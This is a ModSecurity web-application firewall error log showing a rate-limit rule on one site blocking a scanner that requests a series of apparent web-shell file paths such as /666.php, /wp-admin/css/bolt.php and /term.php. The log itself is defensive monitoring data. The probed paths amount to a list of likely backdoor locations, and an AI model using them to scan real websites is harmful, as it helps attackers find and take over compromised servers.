[Tue Mar 24 23:43:37.004867 2026] [:error] [pid 3030:tid 3072] [client 4.223.157.92:8054] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "acKxKQyOuILyynfcqflz0gAAABc"]
[Tue Mar 24 23:43:45.058221 2026] [:error] [pid 48214:tid 48265] [client 4.223.157.92:7974] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "acKxMbeshLWZ3uUDHKmMQwAAAc0"]
[Tue Mar 24 23:43:46.620306 2026] [:error] [pid 3031:tid 3079] [client 4.223.157.92:4035] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "acKxMqJBKytnG47nuiZHXAAAAEM"]
[Tue Mar 24 23:43:47.170846 2026] [:error] [pid 3030:tid 3064] [client 4.223.157.92:7963] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "acKxMwyOuILyynfcqflz1wAAAA8"]
[Tue Mar 24 23:43:49.182868 2026] [:error] [pid 64198:tid 64224] [client 4.223.157.92:8011] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acKxNXVzJqf6OS_oSZ31twAAAVg"]
[Tue Mar 24 23:43:49.798775 2026] [:error] [pid 48219:tid 48305] [client 4.223.157.92:4050] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acKxNShf3b4R_lAIyv-pDgAAAhg"]
[Tue Mar 24 23:43:50.329999 2026] [:error] [pid 3032:tid 3105] [client 4.223.157.92:7943] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acKxNia_-JXXD03-JNxvDwAAAII"]
[Tue Mar 24 23:43:50.860451 2026] [:error] [pid 48219:tid 48282] [client 4.223.157.92:7955] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acKxNihf3b4R_lAIyv-pEgAAAgE"]
[Tue Mar 24 23:43:51.419897 2026] [:error] [pid 38767:tid 38789] [client 4.223.157.92:4033] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "acKxN_wkUqN4GJAI5oWDHgAAARM"]
[Tue Mar 24 23:43:51.969753 2026] [:error] [pid 64198:tid 64210] [client 4.223.157.92:7993] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "acKxN3VzJqf6OS_oSZ31yAAAAUo"]
[Tue Mar 24 23:43:52.527365 2026] [:error] [pid 48214:tid 48276] [client 4.223.157.92:4054] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "acKxOLeshLWZ3uUDHKmMSQAAAdg"]
[Tue Mar 24 23:43:53.727074 2026] [:error] [pid 48214:tid 48267] [client 4.223.157.92:7979] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "acKxObeshLWZ3uUDHKmMTgAAAc8"]
[Tue Mar 24 23:43:54.256162 2026] [:error] [pid 48219:tid 48287] [client 4.223.157.92:7946] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "acKxOihf3b4R_lAIyv-pFAAAAgY"]
[Tue Mar 24 23:43:55.404676 2026] [:error] [pid 3031:tid 3087] [client 4.223.157.92:8046] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "acKxO6JBKytnG47nuiZHYQAAAEs"]
[Tue Mar 24 23:43:56.968128 2026] [:error] [pid 48214:tid 48256] [client 4.223.157.92:8057] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "acKxPLeshLWZ3uUDHKmMUgAAAcQ"]
[Tue Mar 24 23:43:57.507770 2026] [:error] [pid 48214:tid 48268] [client 4.223.157.92:8030] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxw.php"] [unique_id "acKxPbeshLWZ3uUDHKmMVAAAAdA"]
[Tue Mar 24 23:43:58.117982 2026] [:error] [pid 48128:tid 48152] [client 4.223.157.92:4067] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "acKxPsvR4LIMFLbM5VlLJwAAAYM"]
[Tue Mar 24 23:43:58.650519 2026] [:error] [pid 64198:tid 64220] [client 4.223.157.92:4065] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "acKxPnVzJqf6OS_oSZ315gAAAVQ"]
[Tue Mar 24 23:43:59.180956 2026] [:error] [pid 3031:tid 3083] [client 4.223.157.92:4037] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "acKxP6JBKytnG47nuiZHawAAAEc"]
[Tue Mar 24 23:43:59.706993 2026] [:error] [pid 64198:tid 64223] [client 4.223.157.92:8043] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "acKxP3VzJqf6OS_oSZ318wAAAVc"]
[Tue Mar 24 23:44:00.231139 2026] [:error] [pid 48219:tid 48287] [client 4.223.157.92:7957] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acKxQChf3b4R_lAIyv-pNgAAAgY"]
[Tue Mar 24 23:44:00.760056 2026] [:error] [pid 48214:tid 48253] [client 4.223.157.92:3980] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acKxQLeshLWZ3uUDHKmMXQAAAcE"]
[Tue Mar 24 23:44:01.288285 2026] [:error] [pid 48214:tid 48266] [client 4.223.157.92:3996] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acKxQbeshLWZ3uUDHKmMYQAAAc4"]
[Tue Mar 24 23:44:01.839364 2026] [:error] [pid 48214:tid 48269] [client 4.223.157.92:4071] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acKxQbeshLWZ3uUDHKmMZAAAAdE"]
[Tue Mar 24 23:44:02.391698 2026] [:error] [pid 64198:tid 64220] [client 4.223.157.92:7952] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acKxQnVzJqf6OS_oSZ31-AAAAVQ"]
[Tue Mar 24 23:44:03.038403 2026] [:error] [pid 64198:tid 64217] [client 4.223.157.92:8031] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acKxQ3VzJqf6OS_oSZ31_QAAAVE"]
[Tue Mar 24 23:44:03.584141 2026] [:error] [pid 3137:tid 3149] [client 4.223.157.92:3969] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acKxQ5dZesutm6dfYM90FwAAAMo"]
[Tue Mar 24 23:44:04.126800 2026] [:error] [pid 64198:tid 64220] [client 4.223.157.92:4084] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acKxRHVzJqf6OS_oSZ32BAAAAVQ"]
[Tue Mar 24 23:44:04.663634 2026] [:error] [pid 64198:tid 64211] [client 4.223.157.92:7980] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acKxRHVzJqf6OS_oSZ32BwAAAUs"]
[Tue Mar 24 23:44:05.305178 2026] [:error] [pid 38767:tid 38783] [client 4.223.157.92:4069] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acKxRfwkUqN4GJAI5oWDTAAAAQ0"]
[Tue Mar 24 23:44:05.857244 2026] [:error] [pid 64198:tid 64216] [client 4.223.157.92:4074] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acKxRXVzJqf6OS_oSZ32CwAAAVA"]
[Tue Mar 24 23:44:06.424476 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:7987] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acKxRpdZesutm6dfYM90HQAAANM"]
[Tue Mar 24 23:44:22.639399 2026] [:error] [pid 38767:tid 38785] [client 4.223.157.92:4080] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acKxVvwkUqN4GJAI5oWDhQAAAQ8"]
[Tue Mar 24 23:44:23.257831 2026] [:error] [pid 48219:tid 48303] [client 4.223.157.92:4052] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acKxVyhf3b4R_lAIyv-pSQAAAhY"]
[Tue Mar 24 23:44:23.786299 2026] [:error] [pid 48219:tid 48294] [client 4.223.157.92:3982] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acKxVyhf3b4R_lAIyv-pTQAAAg0"]
[Tue Mar 24 23:44:24.377953 2026] [:error] [pid 3030:tid 3055] [client 4.223.157.92:4031] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acKxWAyOuILyynfcqflz3wAAAAY"]
[Tue Mar 24 23:44:24.967561 2026] [:error] [pid 3032:tid 3121] [client 4.223.157.92:8020] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acKxWCa_-JXXD03-JNxvJAAAAJI"]
[Tue Mar 24 23:44:25.520300 2026] [:error] [pid 3032:tid 3123] [client 4.223.157.92:7964] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acKxWSa_-JXXD03-JNxvKAAAAJQ"]
[Tue Mar 24 23:44:26.049376 2026] [:error] [pid 38767:tid 38792] [client 4.223.157.92:7976] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acKxWvwkUqN4GJAI5oWDhwAAARY"]
[Tue Mar 24 23:44:26.581107 2026] [:error] [pid 48219:tid 48298] [client 4.223.157.92:3995] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acKxWihf3b4R_lAIyv-pUwAAAhE"]
[Tue Mar 24 23:44:28.128774 2026] [:error] [pid 38767:tid 38794] [client 4.223.157.92:8058] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acKxXPwkUqN4GJAI5oWDlAAAARg"]
[Tue Mar 24 23:44:28.665175 2026] [:error] [pid 38767:tid 38770] [client 4.223.157.92:3974] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acKxXPwkUqN4GJAI5oWDmgAAAQA"]
[Tue Mar 24 23:44:29.217315 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:3992] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acKxXZdZesutm6dfYM90agAAAM4"]
[Tue Mar 24 23:44:29.756965 2026] [:error] [pid 38767:tid 38787] [client 4.223.157.92:3990] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acKxXfwkUqN4GJAI5oWDpwAAARE"]
[Tue Mar 24 23:44:30.317690 2026] [:error] [pid 3031:tid 3100] [client 4.223.157.92:3997] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "acKxXqJBKytnG47nuiZHdAAAAFg"]
[Tue Mar 24 23:44:33.962049 2026] [:error] [pid 3137:tid 3142] [client 4.223.157.92:4095] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "acKxYZdZesutm6dfYM90dgAAAMM"]
[Tue Mar 24 23:44:34.495229 2026] [:error] [pid 64198:tid 64206] [client 4.223.157.92:7992] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "acKxYnVzJqf6OS_oSZ32OwAAAUY"]
[Tue Mar 24 23:44:35.055923 2026] [:error] [pid 48219:tid 48301] [client 4.223.157.92:4042] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "acKxYyhf3b4R_lAIyv-pWAAAAhQ"]
[Tue Mar 24 23:44:35.598024 2026] [:error] [pid 48219:tid 48285] [client 4.223.157.92:8027] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acKxYyhf3b4R_lAIyv-pWgAAAgQ"]
[Tue Mar 24 23:44:36.151775 2026] [:error] [pid 3030:tid 3062] [client 4.223.157.92:8007] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acKxZAyOuILyynfcqflz5AAAAA0"]
[Tue Mar 24 23:44:36.701356 2026] [:error] [pid 3030:tid 3054] [client 4.223.157.92:4048] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acKxZAyOuILyynfcqflz5QAAAAU"]
[Tue Mar 24 23:44:37.228596 2026] [:error] [pid 3031:tid 3080] [client 4.223.157.92:4004] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acKxZaJBKytnG47nuiZHiAAAAEQ"]
[Tue Mar 24 23:44:37.758575 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:4056] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "acKxZZdZesutm6dfYM90hgAAANM"]
[Tue Mar 24 23:44:38.320822 2026] [:error] [pid 48214:tid 48256] [client 4.223.157.92:8033] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "acKxZreshLWZ3uUDHKmMlwAAAcQ"]
[Tue Mar 24 23:44:38.921906 2026] [:error] [pid 3032:tid 3104] [client 4.223.157.92:4006] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "acKxZia_-JXXD03-JNxvQQAAAIE"]
[Tue Mar 24 23:44:39.448127 2026] [:error] [pid 3032:tid 3112] [client 4.223.157.92:8060] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/term.php"] [unique_id "acKxZya_-JXXD03-JNxvRQAAAIk"]
